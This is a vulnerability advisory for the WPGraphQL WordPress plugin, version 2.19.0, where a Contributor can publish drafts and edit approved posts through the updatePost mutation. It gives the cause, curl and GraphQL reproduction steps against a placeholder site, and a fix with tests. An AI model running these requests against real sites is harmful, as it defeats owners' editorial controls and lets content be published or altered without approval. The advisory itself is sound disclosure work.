WPGraphQL: Contributor can publish and modify posts without the required capabilities via updatePost

An authenticated WordPress Contributor can use WPGraphQL's updatePost mutation to publish their own drafts without editorial approval and change their own previously published posts without the required permissions. This requires an active WPGraphQL plugin and Contributor access to /graphql; default settings are affected. The flaw does not allow changes to another author's posts.

Look for wp-graphql/wp-graphql in composer.lock and check whether its version is below 2.22.2. The description confirms testing only on 2.19.0. Check that the WPGraphQL plugin is active and whether Contributor accounts can authenticate to /graphql, including through Application Passwords or login cookies with a valid nonce. No special configuration is required: default settings are affected.

The advisory recommends enforcing the post type's object-level edit_post capability for the target post before updating it, and checking the relevant capabilities for status changes. Moving a post to a public or future status should require the post type's publish_posts capability.

Summary

WPGraphQL 2.19.0 contains an authorization bypass in the updatePost mutation. An authenticated WordPress Contributor can change one of their own draft posts to PUBLISH despite lacking the publish_posts capability. The same mutation also permits the Contributor to modify their own previously published posts despite lacking edit_published_posts and failing WordPress's object-level edit_post capability check.

This bypasses the standard WordPress editorial workflow. The WordPress REST API correctly rejects the equivalent operations for the same user.

Affected software

• Plugin: WPGraphQL
• Plugin slug: wp-graphql
• Confirmed affected version: 2.19.0
• Plugin URL: https://wordpress.org/plugins/wp-graphql/
• Repository: https://github.com/wp-graphql/wp-graphql
• WordPress version used for testing: 7.0.2
• WPGraphQL configuration: default settings

Only version 2.19.0 is claimed as confirmed because that is the version tested. The same authorization pattern appears in earlier source history, but those releases were not independently tested.

Vulnerability type

• Broken access control / authorization bypass
• CWE-863: Incorrect Authorization
• OWASP 2021: A01 – Broken Access Control
• Minimum required role: Contributor

Technical cause

src/Mutation/PostObjectUpdate.php checks only the post type's collection-level edit_posts capability:

if ( ! isset( $post_type_object->cap->edit_posts ) || ! current_user_can( $post_type_object->cap->edit_posts ) ) {
    // Reject request.
}

It separately prevents a user from changing another author's post, but it does not perform WordPress's object-level check:

current_user_can( $post_type_object->cap->edit_post, $post_id )

It also does not check publish_posts when the requested update changes the post status to publish. The mutation passes the requested status directly to wp_update_post(), which expects its caller to have already enforced authorization.

By comparison, WPGraphQL's createPost implementation explicitly checks publish_posts and changes an unauthorized requested status to pending. This protection is absent from updatePost.

Preconditions

1. WPGraphQL 2.19.0 is installed and activated using its default settings.
2. The attacker controls a normal WordPress Contributor account.
3. The attacker can authenticate to /graphql, for example with an Application Password over HTTPS or with their WordPress login cookie and a valid wp_graphql/wp_rest nonce.

No administrator action beyond assigning the standard Contributor role is required. The Contributor role has edit_posts, but does not have publish_posts or edit_published_posts.

Reproduction

The following requests use an Application Password for concise remote reproduction. Replace the URL, username, and Application Password with values from the test installation. WordPress Application Passwords should be tested over HTTPS.

1. Create a draft as the Contributor

curl --user 'gql_contributor:APPLICATION_PASSWORD' \
  -H 'Content-Type: application/json' \
  --data-binary '{"query":"mutation { createPost(input:{title:\"Contributor publication bypass test\", content:\"Created by a Contributor and not reviewed by an editor.\", status:DRAFT}) { post { databaseId title status } } }"}' \
  'https://wordpress.example/graphql'

Example response:

{
  "data": {
    "createPost": {
      "post": {
        "databaseId": 21,
        "title": "Contributor publication bypass test",
        "status": "draft"
      }
    }
  }
}

Record the returned databaseId. The example below uses 21.

2. Verify that WordPress REST denies publication

Using the same Contributor credentials, attempt to publish the draft through the WordPress REST API:

curl --user 'gql_contributor:APPLICATION_PASSWORD' \
  -H 'Content-Type: application/json' \
  --data-binary '{"status":"publish"}' \
  'https://wordpress.example/wp-json/wp/v2/posts/21'

Expected control response:

{
  "code": "rest_cannot_publish",
  "message": "Sorry, you are not allowed to publish posts.",
  "data": {
    "status": 403
  }
}

This establishes that the Contributor lacks the WordPress capability required for the operation.

3. Publish the same draft through WPGraphQL

curl --user 'gql_contributor:APPLICATION_PASSWORD' \
  -H 'Content-Type: application/json' \
  --data-binary '{"query":"mutation { updatePost(input:{id:\"21\", status:PUBLISH}) { post { databaseId title status uri } } }"}' \
  'https://wordpress.example/graphql'

Observed response on WPGraphQL 2.19.0:

{
  "data": {
    "updatePost": {
      "post": {
        "databaseId": 21,
        "title": "Contributor publication bypass test",
        "status": "publish",
        "uri": "/contributor-publication-bypass-test/"
      }
    }
  }
}

The post is now publicly accessible without editorial approval.

4. Verify public exposure remotely

Open the returned uri without authentication, or query it without credentials:

curl -H 'Content-Type: application/json' \
  --data-binary '{"query":"query { post(id:\"21\", idType:DATABASE_ID) { databaseId title status uri } }"}' \
  'https://wordpress.example/graphql'

The post is returned with status publish.

Additional affected operation

If an editor previously published a post owned by the Contributor, WordPress no longer allows that Contributor to edit it because Contributors lack edit_published_posts. Nevertheless, the following mutation changes its title and content:

mutation {
  updatePost(input: {
    id: "PUBLISHED_POST_DATABASE_ID"
    title: "Unauthorized change after editorial approval"
    content: "The Contributor can replace previously approved content."
  }) {
    post {
      databaseId
      title
      status
    }
  }
}

In live testing, the REST API returned 403 rest_cannot_edit for this operation while WPGraphQL returned the modified published post.

Security impact

A compromised or malicious Contributor account can bypass the site's editorial approval boundary and:

• Publish arbitrary posts without an Editor or Administrator approving them.
• Publish spam, phishing, misleading, or SEO content under the attacker's account.
• Modify content after an Editor has reviewed and published it.
• Change the status of the attacker's previously published posts, potentially removing approved content from public view.
• Repeat the process for additional drafts because Contributors can normally create drafts.

The issue affects the integrity of public site content and can affect availability of posts authored by the attacker. It does not allow modification of another author's posts, role escalation, administrator access, arbitrary code execution, or direct access to secrets. Normal WordPress content sanitization still applies to the Contributor's submitted HTML.

Suggested remediation

Before updating a post, enforce the post type's object-level meta capability with the target post ID, equivalent to WordPress REST behavior:

if (
    ! isset( $post_type_object->cap->edit_post ) ||
    ! current_user_can( $post_type_object->cap->edit_post, $post_id )
) {
    throw new UserError( /* authorization error */ );
}

Status transitions should also enforce the relevant post type capabilities. In particular, changing a post to a public/future status should require the post type's publish_posts capability. Tests should cover at least:

• Contributor updating their own draft: allowed.
• Contributor publishing their own draft: denied or changed to pending.
• Contributor editing their own previously published post: denied.
• Author publishing and editing their own post: allowed.
• Contributor editing another author's post: denied.